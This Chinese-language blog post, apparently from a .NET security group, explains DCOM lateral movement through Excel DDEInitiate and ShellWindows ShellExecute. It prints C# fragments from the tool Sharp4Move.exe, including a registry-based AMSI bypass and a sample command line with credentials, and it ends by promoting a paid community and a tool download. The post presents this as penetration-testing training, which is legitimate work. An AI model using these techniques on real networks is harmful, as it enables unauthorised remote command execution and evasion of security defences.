DCOM 技术内网实战,通过 ExcelDDE 和 ShellBrowserWindow 实现横向移动

图片

这篇文章将介绍如何利用 .NET 中的 ExcelDDE 技术,通过 DCOM 实现远程命令执行。ExcelDDE是一种用于在 Excel 和其他应用程序之间交换数据的协议,ShellBrowserWindow 是一个通过 ShellExecute 方法来执行命令的接口,通常用来启动外部程序或脚本。在某些安全测试和渗透测试场景中,这两种技术可以被用来执行远程命令,绕过安全措施并与远程计算机交互。

01. ExcelDDE 概述

在渗透测试中,攻击者可以利用多种技术进行远程命令执行。其中,通过 DCOM 技术,可以远程创建和调用对象来执行命令,而 ExcelDDE 是 DCOM 技术的一种应用,允许通过 Excel 启动命令。

1.1 DDE

DDE 是 Microsoft 提供的另一项技术,允许应用程序间进行数据交换。Excel 本身支持 DDE,通过 Excel.Application 对象,攻击者可以利用 DDE 协议在 Excel 与其他应用程序之间传递命令。这种协议可以让攻击者在不直接交互的情况下,间接执行远程命令。

以下是利用 Excel.Application 对象和 DDEInitiate 方法,通过 DCOM 实现远程命令执行的代码。

bool flag4 = Method.ToLower() == "exceldde";
if (flag4)
{
    Console.WriteLine("[+] Executing DCOM ExcelDDE   : {0}", host);
    Type typeFromProgID2 = Type.GetTypeFromProgID("Excel.Application", host);
    object obj11 = Activator.CreateInstance(typeFromProgID2);
    obj11.GetType().InvokeMember("DisplayAlerts", BindingFlags.SetProperty, null, obj11, new object[] { false });
    obj11.GetType().InvokeMember("DDEInitiate", BindingFlags.InvokeMethod, null, obj11, new object[] { text3, text2 });
}

代码使用 Type.GetTypeFromProgID 方法通过 Excel.Application 创建一个 Excel 应用程序的 COM 对象。host 是目标计算机的地址或名称,表示远程执行的目标。

Type typeFromProgID2 = Type.GetTypeFromProgID("Excel.Application", host);
object obj11 = Activator.CreateInstance(typeFromProgID2);

Activator.CreateInstance 动态创建了 Excel 应用程序的实例,最后使用 DDEInitiate 方法初始化 DDE 连接,text3 和 text2 分别是要传递的参数,具体代码如下所示。

obj11.GetType().InvokeMember("DDEInitiate", BindingFlags.InvokeMethod, null, obj11, new object[] { text3, text2 });

DDEInitiate 方法是 Excel 提供的用来启动 DDE 连接的接口,它会与其他程序建立连接并交换数据。利用这一方法,攻击者可以通过 Excel 发起远程命令执行。

02. ShellBrowser 

ShellBrowserWindow 和 DCOM 是执行远程操作的关键工具。通过 ShellExecute 方法,我们能够在远程计算机上执行命令。以下是代码的详细分析,展示了如何利用 DCOM 调用和 ShellBrowserWindow 来执行远程命令。

bool flag23 = dictionary["action"].ToLower() == "dcom";
if (flag23)
{
    bool flag24 = dictionary.ContainsKey("computername") && dictionary.ContainsKey("command");
    if (flag24)
    {
        string[] array7 = dictionary["computername"].Split(new char[] { ',' });
        foreach (string host4 in array7)
        {
            string method = "ShellBrowserWindow";
            bool flag25 = dictionary.ContainsKey("method");
            if (flag25)
            {
                method = dictionary["method"];
            }

            bool flag26 = dictionary.ContainsKey("eventname");
            if (flag26)
            {
                string text6 = dictionary["eventname"];
            }

            bool flag27 = dictionary.ContainsKey("amsi") && dictionary["amsi"] == "true";
            if (flag27)
            {
                ManagementScope managementScope3 = Program.WMIConnect(host4, username, password);
                List<ManagementBaseObject> outParams3 = Program.SetRegKey(managementScope3);
                Thread.Sleep(2000);
                Program.RemoteDCOM(host4, dictionary["command"], method);
                Thread.Sleep(2000);
                Program.UnsetRegKey(managementScope3, outParams3);
            }
            else
            {
                Program.RemoteDCOM(host4, dictionary["command"], method);
            }
        }
    }
}

首先,代码检查是否为 dcom 操作,如果有多个目标主机,程序将使用 Split 方法将其分割,并对每个主机执行相同的操作。随后,代码再次检查执行方法是否为 ShellWindows。如果是,将执行 ShellExecute 方法来启动命令。

bool flag = Method.ToLower() == "shellwindows";
if (flag)
{
    Console.WriteLine("[+] Executing DCOM ShellWindows   : {0}", host);
    string g = "9BA05972-F6A8-11CF-A442-00A0C90A8F39";
    Type typeFromCLSID = Type.GetTypeFromCLSID(new Guid(g), host);
    object obj = Program.NewMethod(typeFromCLSID);
    object obj2 = obj.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, obj, new object[0]);
    object obj3 = obj2.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, obj2, null);
    object obj4 = obj3.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, obj3, null);
    obj4.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, obj4, new object[] { text3, text2, text, null, 0 });
}

上述代码中9BA05972-F6A8-11CF-A442-00A0C90A8F39 是 CLSID,代码通过 Type.GetTypeFromCLSID 方法动态获取该类型。最后,通过反射调用 ShellExecute 方法来执行命令。参数包括要执行的命令以及其他配置。

03. 工具实战操作 

Sharp4Move.exe 便是这样一款基于 .NET 实现的,结合了 DCOM 和其他攻击技术,支持从一台已入侵的主机向网络中其他计算机远程执行命令。通过该工具,渗透测试人员可以模拟攻击者在网络内的横向移动。

图片

3.1 工具用法

以下是 Sharp4Move.exe 的一个典型使用场景。通过命令行输入参数,可以指定目标主机和要执行的命令:

Sharp4Move.exe action=create computername=PC-20201112PLZR command="C:\windows\system32\winver.exe" amsi=true username=ivan1ee password=123456

此处的action,指定要执行的操作,通常是 create,表示在目标计算机上执行命令,参数command,表示要在目标计算机上执行的命令或程序路径,运行后如下图所示。

图片

目标计算机使用指定的用户名和密码进行身份验证,再通过 DCOM 执行命令在远程主机PC-20201112PLZR 上启动 winver.exe 进程。

3.2 小结

综上,Sharp4Move.exe 是一款强大的横向移动工具,利用 Windows 的 DCOM 技术,支持跨多台计算机执行命令。不仅能够绕过 AMSI 防护,还能帮助渗透测试人员模拟攻击者在企业网络中的横向移动行为。

04.NET安全星球

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

图片

图片

图片

星球文化始终认为授人以鱼不如授人以渔!加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

    我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输

这些阶段所涉及的工具集不仅代表了当前.NET安全领域的最前沿技术,更是每一位网络安全爱好者不可或缺的实战利器。

文章涉及的工具已打包,请加/入/后下/载:https://wx.zsxq.com/group/51121224455454

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

dot.Net安全矩阵

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值